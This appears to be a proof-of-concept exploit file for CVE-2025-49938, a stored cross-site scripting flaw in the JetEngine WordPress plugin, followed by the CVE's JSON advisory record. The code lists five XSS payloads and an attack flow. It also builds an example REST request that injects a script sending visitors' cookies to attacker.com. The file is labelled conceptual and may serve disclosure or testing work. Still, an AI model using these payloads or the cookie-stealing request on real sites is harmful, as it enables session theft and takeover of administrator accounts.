CVE-2025-49938

// CVE-2025-49938 PoC - JetEngine Stored XSS // Note: This is a conceptual PoC based on the vulnerability description // Actual exploitation requires specific JetEngine functionality access // Example 1: XSS payload in a JetEngine custom field const xssPayload1 = '<script>alert(document.cookie)</script>'; // Example 2: Event handler based XSS const xssPayload2 = '<img src=x onerror=alert(document.domain)>'; // Example 3: SVG-based XSS const xssPayload3 = '<svg onload=alert(String.fromCharCode(88,83,83))>'; // Example 4: JavaScript protocol XSS const xssPayload4 = '<a href="javascript:alert(document.cookie)">Click me</a>'; // Example 5: Data URI XSS const xssPayload5 = '<object data="data:text/html,<script>alert(1)</script>">'; // PoC Attack Flow: // 1. Attacker with low privileges (e.g., Author role) creates/edits content // 2. Injects XSS payload through JetEngine custom field or dynamic content // 3. Payload is stored in database without proper sanitization // 4. When other users (including admins) view the page, XSS executes // 5. Attacker can steal session cookies, perform actions as victim // Example HTTP Request (conceptual) const httpRequest = { method: 'POST', url: '/wp-json/wp/v2/posts/{id}', headers: { 'Content-Type': 'application/json', 'X-WP-Nonce': '{nonce}' }, body: { 'meta': { 'jet_engine_field': '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' } } }; console.log('CVE-2025-49938 JetEngine Stored XSS PoC'); console.log('Affected: JetEngine <= 3.7.3'); console.log('Payloads above demonstrate various XSS injection techniques');

{"cve": {"id": "CVE-2025-49938", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:40.157", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Crocoblock JetEngine jet-engine allows Stored XSS.This issue affects JetEngine: from n/a through <= 3.7.3."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/jet-engine/vulnerability/wordpress-jetengine-plugin-3-7-3-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}